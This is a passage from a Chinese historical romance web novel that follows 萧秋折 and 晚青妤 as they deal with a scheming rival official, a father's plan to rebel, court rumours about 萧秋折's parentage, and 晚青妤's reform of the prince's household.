萧秋折忙停下,掰开饺子一看,里面竟是一枚莹润的白玉扳指。 晚青妤惊喜道:“没想到你第一口就尝到了,看来这礼物合该是你的。” 她将扳指取出,擦净之后为他戴在拇指上。 萧秋折对着烛光端详,眼中满是欢喜:“这玉色温润,我很是喜欢。” 晚青妤抓起他的手又将扳指取下,凑近烛火道:“你瞧,这里头还刻着我们俩的名字呢。” 烛光透过白玉,映出“萧秋折”与“晚青妤”六个清隽的小字。 “这是我亲手刻的,字迹可还入眼?” “你刻的?”萧秋折难掩惊讶,接过扳指仔细辨认,“这字确实秀逸,刻的时候可曾伤着手?” “没有。”晚青妤摇头,“你去边关那些日子,我闲着无事便开始琢磨。想你了就刻几笔,想着想着,竟在你回来前就刻好了。” 萧秋折心头一热。这竟是他生平头一遭收到这般用心的礼物。幼时生辰无人问津,长大后更是如此。 他情难自禁,将她拉到跟前,捏起她的下巴。烛光下,她樱唇水润,惹得他低头亲了一口。 唇瓣相触的刹那,晚青妤袖中的手指蓦地收紧,忽然想起昨夜他四次沐浴的窘事,顿时脸红了。 亲过后,萧秋折强自平复心绪,夹了个饺子,边吃边道:“今晚我便不在此处歇息了。外祖母身子欠安,我早该去照料,正好这几日得闲,打算搬到乔家大院住些时日。” “这般仓促?行李都未收拾,外祖母那边也还未知会。” “不必收拾太多,外祖母见我去照料,定然欢喜。你这几日且安心住在晚府,白日里得空去看看她便是。” 晚青妤细细打量他的神情,心知照顾外祖母是一回事,恐怕监视张攸年又是另一回事。虽他只字未提张攸年,也未显半分醋意,但她明白他心中定是在意的。 她应道:“那好,待会我去给你收拾些衣物。今日同母亲上街,正好给你添置了几件新衣裳,一并带上。” 萧秋折颔首,匆匆用完膳后,携她在院中坐了一会。晚风轻拂,本是十分惬意,可晚青妤满腹心事,太妃给的一月之期,怕是连身世都未必能查清,更遑论怀上身孕。 两人静坐片刻,晚青妤见夜色已深,便送他到院门外。管家早已备好马车,皎洁的月光洒落一地清辉,将门前照得通明。 她牵着萧秋折的手,依依不舍地望着他。 萧秋折亦是眷恋,道:“这些日子你且安心住着,莫要多想。待过些时日我来接你。” 到那时不再是普通轿子,而是八抬大轿来接她。 晚青妤颔首:“天色已晚,你快些去吧。明日一早我便去寻你。” 萧秋折应了声,没动。 晚青妤知道他的意思,凑近他,踮起脚尖在他唇上落下一吻。 微风吹过,抚动她鬓边秀发,略过他的眉眼,携着淡淡的清香。 被她一亲,他的耳朵红了,过了一会才松开她的手,然后上了马车。 晚青妤站在门前目送他离开。 萧秋折待到了乔家大院,提着行囊入院,却见张攸年正坐在院中树下借着灯笼的光看书。 月光透过枝叶,在他身上投下斑驳的影子。 张攸年听到脚步声转过头,见是萧秋折,忙站起身,目光在他手中的行囊上停留片刻,疑惑问道:“你来探望老夫人?” 大半夜的。 “嗯。”萧秋折冷冷一应,“顺便过来住几日。” 第68章 第68章“我听说啊,当年他娘跟…… 今晚月色很好,晚风徐来,满地流银。 张攸年喜欢夜间在院中看书,吹着晚风,安静又惬意,他有时会倚凉亭栏杆,有时坐青石小径,最喜欢的还是坐在这株老槐树下。 自他儿时起,便爱在此处读书,这棵槐树于他而言,意义非凡,它见证着他从寒门学子到位极人臣的沧桑变迁。 如今老槐树亭亭如盖,而他也早已不是当年那个为一支笔发愁的穷小子。虽他已身居高位,锦衣玉食,却始终割舍不下对这方庭院的感情。这里的每一块青砖,每一片落叶,都镌刻着他们父子相依为命的旧日时光。 有时他也会困惑,为何命运要将他这个穷小子与那些金尊玉贵的世家子弟纠缠在一处?仿佛冥冥中有根无形的绳套着他的脖颈,牵引着他走向那条看似锦绣的前程。他走了很久很久,却始终望不见这条路的尽头。 今日难得偷闲,本想坐在树下静心读书,却不料萧秋折竟提着行囊而来,更说要在此小住。 张攸年缓缓合上手中书卷,抬眸望向萧秋折时,眼底已是一片了然。月色朦胧间,他半张脸隐在树影之中,神色难辨。他虽与萧秋折身量相仿,却少了那份与生俱来的矜贵气度。他自幼便艳羡这些世家子弟骨子里的风华,那是他穷尽一生也难以企及的。 “这院子空落,多个人住着倒热闹。”张攸年嘴角噙着若有似无的笑,眼底却无半分热情,“萧大人先去探望老夫人,我这就让管家收拾客房。” 萧秋折神色淡淡:“不必劳烦,我自会安排。” 张攸年微微颔首:“那好。若有需要,尽管寻我与家父便是。” 萧秋折未再多言,径自往内院探望外祖母去了。张攸年重新落座,手中书册虽一页页翻过,却是一个字也未入眼。 约莫半个时辰后,萧秋折折返院中,在张攸年面前站定,道:“张大人先前不是说要与我共饮?不如今夜小酌一杯?” 张攸年闻言一怔,手中书册“啪”地合上。他未料到萧秋折会主动相邀,略一迟疑便笑道:“自然极好。” 他当即唤来管家,吩咐在槐树下设席备酒。 月色如水,树影婆娑。二人对坐无言,唯有夜风拂过树叶的轻响。不多时,管家奉上酒盏。张攸年执杯浅酌,目光却始终未离萧秋折半分。 槐花簌簌而落,在石桌上铺了薄薄一层。 张攸年将斟满的酒杯缓缓推向萧秋折道:“早前便想与萧大人共饮一杯。前日去亲王府与王爷用膳时,本欲邀萧大人同饮,却未得见。今日倒是机缘巧合,能在此共饮一杯。” 萧秋折接过酒杯,指尖在杯沿轻轻摩挲。他从前与张攸年并无深交,此刻见对方言谈这般谦和有礼,心中不免暗生警惕。一个能说出“做情人也无妨”这般话,又能迅速攀至二品高位的男子,其城府之深可见一斑。 他仰首将杯中酒一饮而尽,酒盏落在石桌上发出清脆的声响:“若张大人要谈晚青妤之事,那便不必多言。” 萧秋折眸光渐冷:“我今日来,正是要与你说个明白。张大人能从一介布衣跃居二品,这份能耐我倒也佩服。历朝历代,能如你这般平步青云的,实属罕见。” 他指尖轻叩石桌,声音渐沉:“但我有句话要告诫你,野心太大,终遭反噬。届时不但前程尽毁,更要为世人所不齿。” 夜风骤起,吹落一树槐花。萧秋折广袖一拂,扫开落在酒盏上的花瓣:“你近日所作所为,我皆已了然。今日来就是要告诉你,明日便带着令尊搬离乔家大院,从此莫再接近晚青妤。你好生做你的官,为百姓谋福才是正途。官场上的门道,我比你清楚。皇亲国戚 与朝中重臣的手段,你也该明白。即便你爬到这个位置,也未必能坐得安稳。” “张大人是聪明人,该知道进退。” 萧秋折对张攸年近来所为早已暗中查探。此人虽才华横溢,却心术不正。他那些不为人知的勾当,萧秋折虽未尽知,却也略知一二。当初言书堂出事,应也与张攸年脱不了干系。 “有件事我需警告你。”萧秋折眉峰微压,“离我父亲远些。莫要用你那套手段蛊惑他谋朝篡位。我父亲自有主张,亲王府的事,还轮不到你一个外人插手。况且,亲王府也不是你想进就能进的。” 灯笼在夜风中轻轻摇曳,光影在二人脸上明灭不定。 张攸年听完这番话,却只是轻抚手中杯盏,唇角微扬:“萧大人此言差矣。下官不过是敬重王爷才干,这才尽心辅佐。至于进府用膳……” 他抬眼直视萧秋折:“是王爷盛情相邀,下官岂敢推辞?” 萧秋折眸光更冷:“张攸年,识趣些。你爬到如今位置不易,若不想一落千丈,就收起那些不该有的心思。我父亲近日与你往来密切,你以为我不知?先前我在边关无暇顾及,如今既已回京,就不会放任不管。” 张攸年指节微曲,握着酒盏,目光坦然迎着萧秋折的视线,道:“萧大人说笑了,下官怎听不明白?那日与王爷用膳,不过是因商议要务才被留下。” 他抬手斟酒:“当时还想着邀萧大人同饮,可惜未能得见。” 他举杯浅啜,继续道:“官场往来本是常理。王爷初掌朝政,正需得力之人辅佐。下官敬重王爷才干,这才尽心相助。” 说到此处,张攸年放下酒盏:“至于搬离乔家大院一事,我与晚青妤商议过,实因老夫人病重之故,若此时仓促离去,恐她思念成疾,反加重病情。病者为大,萧大人何必在此事上较真?你看……” 张攸年指了指旁边的槐树:“我自幼在此长大,这方院落的一草一木,都刻着往昔记忆。这株老槐树,还是当年我与晚青妤以及几个小伙伴一同栽下的。如今已长这么大了,占了半个院子。它也见证着我们这些人的成长。晚青妤儿时活泼灵动,似不知愁为何物。那样尊贵的姑娘,原是我这等寒门学子难以企及的。自然,如今她已是萧大人的夫人。你来警告我,也是人之常情。” “张攸年。”萧秋折冷笑,声音如淬了冰,“别挑战我的耐心。以我的能力,让你悄无声息地消失并非难事。” 萧秋折起身,居高临下地睨着张攸年:“我的耐心有限,望你好自为之。” 对于萧秋折的警告,张攸年端坐如松,指节因用力而泛白,却仍直视萧秋折的目光,纹丝不动。这般定力,倒让萧秋折暗自心惊,比起付钰书那般外露的敌意,眼前这个深藏不露的对手显然更难对付。 萧秋折见他不做声,冷冷一笑,忽地广袖一扬,一枚飞镖自袖中飞出,擦着张攸年面颊掠过,“铮”的一声钉入身后槐树。 鲜血顺着张攸年颊边缓缓滑落,他却连眉头都未皱一下。 萧秋折瞥他一眼,收回手转身离开了。 这一会儿起了风,槐花一直飘落。 直到萧秋折的身影消失在回廊尽头,张攸年才缓缓松开紧握的酒杯。瓷盏上已现出几道细碎的裂纹,正如他此刻眼中晦暗不明的情绪。他抬手拭去颊边血痕,望着那枚深深嵌入树干的飞镖,唇角勾起一抹意味深长的笑。 有意思,当真是越来越有意思了。 这一夜,萧秋折辗转难眠。陌生的厢房,加上对外祖母病情的牵挂,让他几次起身查看。天边刚泛起鱼肚白,他便命方齐去另请名医。他信不过张攸年,更信不过张攸年请来的大夫。 安排妥当后,萧秋折匆匆赶往兵部衙门。公务缠身,一整日都未能抽空去晚府探望。待到暮色四合,刚理完案牍准备动身,管家却来报王爷寻他。他先回了亲王府。 踏入书房,只见萧敖眉宇间透着喜色,与往日大不相同。见他进来,萧敖指了指案前的紫檀木椅:“坐。为父有要事相商。” 萧秋折缓缓落座,虽近来父亲待他亲厚,可他心中那根刺却始终未能拔除,母亲当年受的苦楚,不是如今这点温情就能抹平的。 “不知父亲唤儿臣前来,所为何事?”他声音低沉。 萧敖拿起一本册子册子递到他面前:“关于付家的罪证,为父已悉数查实。本可一击毙命,但我却不想让付家就此倒台。” 萧秋折抬眉,只见父亲继续道:“只要付家还在摇摆,就能牵制皇上心神。届时朝野动荡,民心不稳,我们便可争取更多时日筹备。我已安排你二弟、三弟分别入主户部与吏部。如此,朝中要职皆在我们掌控之中。这些年浑浑噩噩,是时候做些事了。当年被人夺走的,为父要尽数讨回来。” 夜风穿堂而过,吹得烛火摇曳不定。萧秋折望着父亲映在墙上的影子,忽觉那轮廓竟有几分陌生。 萧敖望向萧秋折,继续道:“为父自然也需要你的助力。如今你在兵部掌权,麾下精兵强将,若我们父子齐心,何愁不能为天下谋个清明世道?” 萧秋折虽早知父亲有异心,却不想他竟打算即刻起兵谋逆。父亲离朝多年,甫一归来就要行此险着,实在令人心惊。朝堂局势诡谲,岂是当年可比?皇家根基,又岂是轻易能撼动的? “父亲。”他声音发紧,“此事还需从长计议。” 萧敖知晓他谨慎,道:“你且宽心。朝中不少旧部已暗中归附。如今太后干政,皇上受制于付家,正是千载难逢的良机。一个月后,我们从贺州起兵,直取京城,你以为如何?” 萧秋折皱眉,父亲竟想在一个月后攻打皇城? “父亲三思。”萧秋折声音陡然冷了下来,“此事非同小可,绝不可以盲目。皇家根基岂是轻易能撼动的?牵一发而动全身,当年几位皇子夺嫡之时,血流成河、民不聊生的景象,父亲都忘记了吗?如今好不容易天下安定,谁又愿再见动荡?” “当今圣上虽受付家掣肘,又屡屡打压我们亲王府,但治国理政尚算勤勉。若没有治国之才,即便坐上那个位置,又能如何?” 他抬眸望向萧敖:“儿臣以为当务之急是先保全自身,稳固我们亲王府的势力,不再任 人宰割。我如今收复边关五城,在朝中已今非昔比,皇后与太后也不敢再轻举妄动。但我也明白,只要我们还在这朝堂之上分一杯羹,皇上就绝不会放松警惕。” “若此时起事,少则一年,多则数载,朝野动荡,民不聊生。儿子要对妻子负责,父亲也要为这一家老小着想。恳请父亲三思。再说那张攸年,父亲如何能确定他是真心相助,而非皇上派来的细作?我们不如静观其变。待看清局势,再作打算不迟。” “我如今虽掌兵权,却也不是能随意动用的。即便我们真能夺得大位,这些将士百姓自当拥戴。可若事有不成,以兵权谋逆的罪名,是要遗臭万年的。” 萧秋折有自己的打算和顾虑。 萧敖手中茶盏轻轻落在案几上,道:“这些你且放心,为父心中自有分寸。你只管按自己的谋划行事便是。” 萧秋折没做声。 萧敖见他不愿多谈,摆手让他下去。 萧秋折起身,提醒道:“张攸年此人还望多加提防。莫要因一时意气,中了他人算计。” 萧秋折向来谨慎,他也猜出,张攸年应该不单单只是想和晚青妤在一起那么简单。 关于张攸年萧敖没有多提,只是“嗯”了一声。 转眼到了六月。 这几日萧秋折一直住在乔家大院,亲自照料外祖母汤药。他命人将外祖母平日的用药悉数更换,又请了太医院退下来的老御医重新诊治。经他这般精心调养,外祖母的身子骨渐渐硬朗起来,已能下床走动了。 萧秋折虽在吏部和大理寺都有要职,公务繁忙,却仍每日抽空侍奉汤药,他这般贴心,着实让外祖母感动。 他实在太忙,晚青妤来探望时,也只能与他匆匆打个照面。 奇怪的是,晚青妤这些日子过来竟一次都未遇见张攸年。 这日,晚青妤在街市采买东西时,忽听得几个商贩在巷口窃窃私语。 “听说了吗?亲王府的萧世子,根本不是亲王爷的骨肉。”一个卖绢花的妇人压低声音道。 “胡说什么?”旁边茶摊的伙计瞪大眼睛,“你看那眉眼气度,活脱脱就是年轻时的王爷。” 绢花妇人神神秘秘地凑近:“我听说啊,当年他娘跟小叔子有些首尾,后来那小叔子就莫名其妙死了。你们细想想,王爷为何这些年对自己的妻儿如此冷淡。” “你怎么知道这些?” “我是听宫里当差的老乡说的,这事千真万确。如今宫里都传遍了。你们想想,堂堂王爷替别人养了二十多年的儿子,这脸往哪搁?” 旁边卖糖人的老汉接话:“难怪王爷当年那般有才能的人物,后来突然变得风流成性,原来是有这般隐情。” 晚青妤听得心头剧震,她虽曾疑心过萧秋折的身世,却怎么也没想到竟是这般不堪的缘由。 傍晚时,萧秋折匆匆回府。晚青妤见他眉宇间带着倦色,却不知他是否已听闻那些流言。 用罢晚膳,二人在凉亭小坐。晚青妤不时偷眼看他,萧秋折似有所觉,却未提及身世之事,只从袖中取出一串钥匙递给她。 “这是亲王府库房的钥匙。”他声音平静,“我从祖母那里要回来了。如今我身份不同,她也不敢再拦。这些日子你回府帮衬着些。府里……似乎有人在兴风作浪。” 晚青妤握紧那串钥匙,心头了然。那些流言,怕就是从亲王府里传出去的。 她抬眸望进萧秋折眼底,轻声道:“你放心去办你的事,亲王府这边交给我。等事情了了,我们便去江南走走。” 夜风拂过,亭角的铜铃叮咚作响。 萧秋折相信她能处理好,起身牵着她往内室走去。 晚青妤轻声问:“今夜要留下么?” 萧秋折摇头,喉结微动:“待会我还有要事处理。” 二人刚踏入内室,他便反手合上门扉。烛火摇曳间,他将她抵在门板上:“想你,先亲一会。” 还不等他亲下,晚青妤纤指抵着他胸膛微微用力,踮起脚尖便吻了上去。唇齿交缠间,她含糊道:“萧秋折,我也想你想得紧,昨夜还梦着你。” 他灼热的气息喷洒在她颈间:“梦到我什么?” “梦见……”她微微喘息,“一条望不到尽头的路,四周雾蒙蒙的。你从雾里走来,蹲下身背起我往前走。那条路好长好长,你背着我一直走,一直走。我把脸贴在你的背上,但是你的身子非常冰凉,我抱着你怎么也暖不热。” 萧秋折手臂收紧。 “我唤你名字,你也不应。后来,我就哭醒了。” 这是一个不好的梦,梦里她一直在哭,醒来眼角还有泪水。 萧秋折额头抵着她:“说明我们以后的路还很长很长。” 长道白发苍苍那一天。 “晚青妤。”他的指尖拂过她的鬓发,“再等我一段时间,我们很快就能安稳过日了。” 晚青妤点着头,知道他有自己的打算。 她勾住他的脖颈亲上去,他顺势揽住她纤细的腰肢,稍一用力便将人提了起来。她近日清减不少,抱在怀中愈发显得娇小。 唇舌交缠间,晚青妤渐渐难耐,一只手攥紧他胸前的衣襟。身子后仰,满头青丝如瀑垂落。 “萧秋折……” 破碎的呼唤被他吞入唇齿间。衣衫不知何时已松散开来。他的吻在她颈间流连。晚青妤只觉得双腿发软,全靠他有力的臂膀支撑着才未滑落。 她身子软得似一泓春水,整个人都瘫在他怀中,只能难耐地仰起纤细的脖颈。 夜风拂过窗棂,吹得烛火摇曳。 萧秋折突然埋首亲上,惹得她浑身轻颤,手无力地推了推他的脑袋。 “别……”她声音发颤,每次被他亲吻这里都受不住。 可当那温热的唇真真切切贴上来时,轻轻一吮,一股酥麻便从脚底直窜心头。 她轻吟一声,再推拒不得,只能任他亲着。 他身子高大,俯身下来让她有些难以支撑,她仰得累了,刚想勾着他脖子起身,却被他一把抱起转了个身。他一条腿抵在门上,将她稳稳托在怀中。 二人一阵亲热,萧秋折满足了才离开晚府。 翌日天光刚亮,晚青妤便回了亲王府。她将府中管事仆役悉数召集至前厅,又命人去请来四夫人。 在萧秋折处理完外头的事情之前,她也要先把亲王府的障碍一一扫清。 第69章 第69章“再打我一巴掌么?”…… 原以为萧秋折取回库房钥匙,是要亲自打理王府事务,重振家业。谁曾想他转手就将钥匙交给了晚青妤,将整个亲王府的内务大权尽数托付。 更令人震惊的是,晚青妤接手后雷厉风行,立即召集全府上下训话。她将府中旧制悉数革新,推行赏罚分明的月银制度,表现优异者可在基础月钱上增发赏银,懈怠渎职者则要扣减银钱。此令一出,满府哗然。 管事嬷嬷们面面相觑,却不敢违逆。谁不知道这位世子夫人如今正得宠? 晚青妤又下令暂停本月月银发放,各院妃嫔妾室一律只许领寻常菜肴。厨房的用度也大幅缩减,从往日的山珍海味改为寻常人家的家常菜式,却讲究荤素搭配,营养均衡。 晚青妤吩咐完遣退了下人,唯独留下了四夫人。 萧秋折出征边关时,晚青妤回了娘家久未归府。四夫人原以为他们夫妻生了嫌隙,再难和好。谁曾想萧秋折如今竟将亲王府大权尽数交予晚青妤。而晚青妤一回府就大刀阔斧地整顿府务,着实让她心中不忿。 “四夫人请用茶。”晚青妤亲手为她斟了杯茶,待房门关上后,眸光陡然转冷,“听闻夫人近来很是忙碌,四处散播些不实之言,还与不该往来之人暗中勾连。” 四夫人手中绢帕一紧,强自镇定道:“你这话从何说起?你一个小辈竟敢在府中兴风作浪,擅自更改月银规矩,简直目无尊长。” 晚青妤早料到她会有此反应,道:“我今日要与夫人说的,是那些流言蜚语的来处。如今府中账房钥匙尽在我手中,没有我的准许,谁也动不得府中一分一毫。” “你。”四夫人蹙眉,“你一个连子嗣都没有的妇人,也配在王府耀武扬威?凭什么?” “就凭我是世子正妃。”晚青妤毫不怯懦,她早就猜出会有人不满,“也凭我夫君将府上事务全都交于了我。” “还有一事我要与夫人说说,当初我在山上住时,每月该得一百两月例,到手却只有十两。经手此事的,可是夫人那位在账房当差的表亲?” 说起这事,四夫人脸色骤变。 晚青妤早已暗中查证多时,如今已寻到两三个证人,皆可证实那克扣月银之事确与四夫人的表亲有关。而那位表情已经逃跑乡下,她已经命人去捉 拿了。 四夫人心虚,沉默片刻后,冷笑道:“你在说什么我听不懂,我告诉你,只要王爷和太妃还在,就轮不到你在这府中指手画脚,我这就去找王爷评理,看你一个晚辈凭什么掌管整个亲王府。” 晚青妤没理会她,她冷哼一声便离开了。 四夫人离开后,晚青妤立即着手整顿府务。一日之间,亲王府上下膳食用度皆有大变,就连太妃院里的份例也被削减。 傍晚时分,太妃怒气冲冲地来到兰风居,扬手就要掌掴晚青妤。玉儿急忙上前相护,却被太妃结结实实打了一巴掌,脸颊顿时红肿起来。 “太妃息怒。”晚青妤将玉儿护在身后,“有话好好说。” “好好说?”太妃气得浑身发抖,“自从你进了府,就闹得鸡犬不宁,秋折从我这里拿走钥匙转手就给了你,现在你倒好,竟敢擅自更改府规。我给你一个月是让你怀上身孕,不是让你在这称王称霸。王爷。和我还活着呢,你就这般目中无人了?” 晚青妤面对太妃的怒斥,神色从容地福了福身:“太妃明鉴,如今亲王府早已是个空壳子。多年来府中上下贪污成风,挥霍无度,若再不整顿,只怕难以为继。” “萧秋折如今位极人臣,亲王府大半的体面都是他挣来的。他既将府务托付于我,我自当尽心打理。太妃院里的用度我都计算过,您平日吃斋念佛,花销本就不大。该孝敬的,一样都不会少。” 太妃闻言眉头紧锁:“即便如此,也轮不到你来插手,一个毫无家世背景,又生不出孩子的妇人,凭什么执掌家业?你嫁进王府就带着目的。” 太妃对晚青妤有很大的偏见。 晚青妤道:“此事已得王爷首肯。定当好好操持好这个家。太妃年事已高,合该颐养天年。若想回寺庙清修,我也会妥善安排。” 太妃气得浑身发抖,指着她的手指都在发颤:“好个不知天高地厚的,竟敢赶我走?你以为拿了银库钥匙就能无法无天?一个月期限若怀不上身孕,滚出王府的就是你,我有的是法子让你待不下去。” 晚青妤见太妃盛怒,不再多言。她心知此时争执无益,整顿府务才是正理。太妃气得指尖发颤,甩袖出了兰风居,直奔萧敖书房而去。 四夫人刚含泪告退,太妃便怒气冲冲地闯了进来。二人你一言我一语地控诉晚青妤的种种“恶行”,萧亲王萧敖却只是淡然道:“这些年王府全靠秋折支撑,确实需要个女主人打理。晚青妤有这个能耐,本王信得过她。” 太妃怒喝:“好,不说这个,那外头那些流言又是怎么回事?说什么嫂嫂与小叔子有染?你弟弟明明是病死的,当年我为此痛不欲生,如今竟然传出这般话来。” 当年太妃为争宠,整日周旋于后宫争斗,连幼子病重都无暇顾及。那孩子缠绵病榻多时,最终不治身亡。至于王妃与萧敖不和的传言,当年就被萧敖严密封锁。太妃这几日听闻坊间流言,整个人如坠云雾。她本想找萧敖问个明白,又恐此事太过荒谬,惹得母子争执,便一直隐忍未提。今日终是按捺不住,径直来寻萧敖问个究竟。 说起此事萧敖眸光陡然转冷。这些日子他也听到些风言风语,正暗中查探源头。不想母亲竟也知晓了此事。他声音低沉地道:“母亲,这等无稽之谈不必再提。自己的孩子,难道我会不清楚?外头的闲言碎语,我自会处置。” 虽这般说着,可萧敖眉宇间的阴郁却瞒不过太妃的眼睛。太妃太了解自己的儿子了,见他这般神色,整个人如遭雷击,双手止不住地颤抖。 “好啊!好啊!”太妃踉跄后退两步,声音发颤,“这个家全乱了套,不生养子嗣也就罢了,如今竟还传出这等丑事,你们爱怎样便怎样吧,我这老脸,也顾不得了。” 说罢,她剧烈咳嗽起来,扶着门框颤巍巍地往外走。临出门前,又回头看了眼沉默不语的萧敖,终是长叹一声:“横竖我这把老骨头也管不动了,你们,好自为之。” 半月过去,这期间,晚青妤夙兴夜寐地整顿亲王府上下。她不仅将府内各处梳理得井井有条,更将历年账簿查了个底朝天。贪墨的仆役尽数发落,各院妃妾的月钱也悉数停发。那些养尊处优的妾室,几次三番来闹事,却都被她冷着脸挡了回去。 府外田庄商铺的整顿更是劳心费力。晚青妤为此消瘦了不少,原本莹润的脸颊都显出了尖尖的下巴。 萧秋折这些日子也总是不见人,夫妻二人有时三两日都见不上一面。 这日天气不太好,玉儿慌慌张张跑来:“小姐不好了,有人往王妃墓上泼脏水。” 晚青妤手中账本“啪”地落地,霍然起身:“什么?谁干的?” “外头传言愈演愈烈,现在满京城都在说王妃不检点。”玉儿急得语无伦次,“那些人说王妃玷辱了女子清誉,不配入土为安。” 几声闷雷滚滚,晚青妤起身就往外冲:“备车,多叫些人手。” 这些日子她虽严加管束四夫人,又竭力平息流言,却不想事情竟恶化至此。分明是有人在背后推波助澜,要毁萧秋折的名声。 马车在雨中疾驰。赶到墓地时,只见一群人正围着王妃的墓碑喧哗。有人张贴大字报,上书不堪入目的污言秽语。有人往碑上泼脏水、扔烂菜叶。几个小厮拼命阻拦,却寡不敌众。 晚青妤跳下马车,冲到墓前:“住手。” 她声音清厉,惊得众人一时怔住。此时已是下起了淅淅沥沥的小雨,雨水顺着她的发梢往下淌,打湿了素白的衣裙。 她挡在墓碑前,冷冷扫过众人。那些闹事者面面相觑,竟被她这般气势所慑,不由自主地退后了几步。 一粗鄙男子排众而出,高声嚷道:“这妇人不知廉耻,与小叔子私通生子,合该浸猪笼。” 此言一处,周围一片附和。 晚青妤听后不待那人再言,她已箭步上前,扬手便打了他一巴掌:“放肆,王妃的事,轮得到你这等腌臜泼才置喙?” 那人挨了打,登时怒目圆睁,抬手就要还击。方于眼疾手快,一把擒住其手腕,抬腿便是一记窝心脚,直踹得那人踉跄倒地。他拔出长剑已抵住他咽喉:“想死?” 那人瘫坐在地,却仍嘴硬道:“你,你们这般伤天害理,必遭天谴!” “天谴?”晚青妤冷笑,“说,是谁指使你们来此闹事?”她环视众人,声音陡然转厉,“今日既带了人来,若不说个明白,便都押去官府问罪。你们都是有家有口的人,可知得罪的是亲王府?再敢胡言乱语,我自是有法子让你们从京城消失。” 寻常百姓纵有闲言碎语,也断不会这般兴师动众来坟前闹事,定是有人指使。 这群地痞流氓闻言色变,面面相觑。他们虽是拿钱办事的亡命之徒,却也惜命。眼见方于带来的侍卫已将众人团团围住,哪还敢造次? 为首之人转身就要开溜,却被方于一个箭步拦住去路。 “想走?”方于剑尖轻挑,在那人胳膊上划出一道血痕,“今日不说出幕后主使,谁也别想离开。” 其中一人见势不妙,忙不迭地讨饶:“夫人息怒,小的们也是拿钱办事。若想知道幕后主使是谁,不如,不如给小的们一千两银子。” “一千两?”晚青妤皱眉朝方于递了个眼色。方于会意,手臂一动,便在那人腿上划开一道血痕。 那人痛呼一声,急忙道:“夫人饶命,小的说,小的这就说,是东市街的牙婆张妈妈找的我们,银子也是她给的。那婆子定知道雇主是谁,此刻她就在东郊巷子里住着。” 方于剑尖抵上那人咽喉:“若有半句虚言,立即杀了你。” “不敢不敢,小的以性命担 保,句句属实。“那人连连叩首。 待方于收剑,那群人立刻慌忙逃跑。 晚青妤让方于速速去找那牙婆子,方于领命而去。 细雨渐起,打湿了坟前的狼藉。晚青妤望着被鸡蛋菜叶玷污的墓碑,心头一阵绞痛。这是萧秋折最敬重的母亲啊,那个他此生都未能承欢膝下的至亲。 雨水混着泪水滑落,她不顾衣衫尽湿,俯身一点一点拾起那些秽物。伸手抚过碑上污渍,想起那日萧秋折还说要带她来祭拜母亲,未料竟出了这等糟心的事。 晚青妤生怕再有人来闹事,在碑前守了许久,直至傍晚,方才留下一些人看守,拖着湿透的裙裬回府。 回府后刚一更完衣,方于便匆匆来报:“夫人,查清了,散布谣言的正是张攸年。” “张攸年?”晚青妤有些不可置信,当即起身,直奔乔家大院。 结果人不在府上。 管家道:“张公子已多日未归,他父亲也回乡探亲去了。萧大人近日忙于朝政,只有深夜方能回府。” 最近外祖母病情已好转,白日里都由晚青妤的母亲照料着,晚间则是萧秋折。而她自己因亲王府诸事缠身,竟也鲜少来探望。 想是萧秋折住进来以后,张攸年有所不便就离开了。 晚青妤出了乔家大院便去张攸年的新府邸去。新府邸乃是皇家御赐,先前张攸年一直没有搬进来。 时下看着门官,晚青妤猜想他已经搬回来住了。 “去通传,就说晚青妤要见他。”晚青妤对门官道。 门官立即跑进去禀告,不多时,朱漆大门“吱呀”一声打开。出乎意料的是,张攸年竟亲自迎了出来。 他一身月白锦袍,玉冠束发,面上带着温润笑意:“你怎么来了?” 那副云淡风轻的模样,仿佛近日种种风波与他毫无干系。 晚青妤见到张攸年的瞬间,眼神立即冷了下来。还未开口,便抬手打了他一记耳光。 “啪”的一声脆响,格外刺耳。 张攸年猝不及防,他怔愣片刻,指尖轻触火辣辣的脸颊,眼中闪过一丝错愕。 周围的门官仆从都惊得屏住了呼吸,就连方于也愣在原地。 “晚青妤。”张攸年深吸一口气,强压下心头翻涌的情绪,“有什么话,我们进屋说。” 晚青妤心中满是怒气,甩袖跨进院门。方于欲跟上,却被张攸年抬手拦住:“此事容我二人私下解决。你放心,我绝不会伤她分毫。” 方于不放心,晚青妤却道:“方于你在外等一会。” 今日她要与张攸年说个明白。 二人进了院,穿过曲折的回廊,晚青妤冷眼打量着这座御赐府邸。亭台楼阁,假山流水,处处透着雅致,倒与张攸年平日的风雅做派相符。 进了内室,张攸年合上门扉。他神色如常地斟了盏茶递来:“先坐下说话。” 晚青妤纹丝不动,冷眼看他:“张攸年,收起你那些龌龊心思。我原以为你尚有几分君子之风,没想到竟卑劣至此,派人去辱骂逝者,你还有半点人性吗?” 张攸年执茶的手微微一滞。抬眸看向晚青妤:“青妤,你在说什么,我听不懂。” 晚青妤冷笑:“你装糊涂也无妨。我只警告你,不许再招惹萧秋折,也别传出流言侮辱他母亲,若再有下次,我定不饶你。” 张攸年见她如此愤怒,却只是轻笑一声,慢条斯理地整了整衣袖,道:“你何必这般激动?萧秋折那边出了事,就一定要算在我头上么?不过,关于萧秋折身世的传言,我倒是有所耳闻。若此事当真……” “张攸年。”晚青妤厉声打断,“此事是真是假都与你无关,从前我还看不透你的心思,如今却是明白了,你不过是想踩着旁人往上爬。你说什么喜欢我,要与我在一起,不过是存心恶心我和萧秋折,想要离间我们的感情罢了,你那点龌龊心思,真叫人作呕。” 晚青妤说起狠话毫不客气,什么事情都可以容忍,但是造谣逝者,唯独忍不了。 张攸年脸色微变,却仍强撑着笑意:“青妤,你误会我了。” “误会?张攸年,这世上怎会有你这般恶毒之人?我与萧秋折从未做过伤天害理之事,为何你们总要一而再、再而三地来害我们?” 她胸口剧烈起伏,眼中噙着愤怒的泪光。这一刻,她忽然觉得眼前这个男子,竟是如此面目可憎。 张攸年见她如此激动,却不恼不怒,反而低低笑出声来:“晚青妤,说到底,你心里始终瞧不起我,是么?” 他向前走近她一步:“像我这样的人,为何就不能往上爬?为何就不能拥有你们生来就有的东西?为何不能拥有爱情?” 晚青妤皱眉往后退,张攸年却紧跟着,晚青妤被他逼得后退几步,后背已抵上冰冷的墙壁。 张攸年却步步紧逼,抬手撑在她耳侧的墙面上,将她困在方寸之间。他低头凝视着她气得泛红的脸颊,道:“你也打心底瞧不起我是吗?” “我没有,你要往上爬是你的事,但若敢伤害萧秋折……” “你能奈我何?”张攸年打断她,“再打我一巴掌么?” 晚青妤转身欲走,却被他一把扣住手腕。 晚青妤原以为张攸年是个冷静自持的人,本想与他好好理论,却不想他激动起来竟如此可怕。她蹙眉挣扎,却被他死死钳住手腕,怎么都挣脱不开。 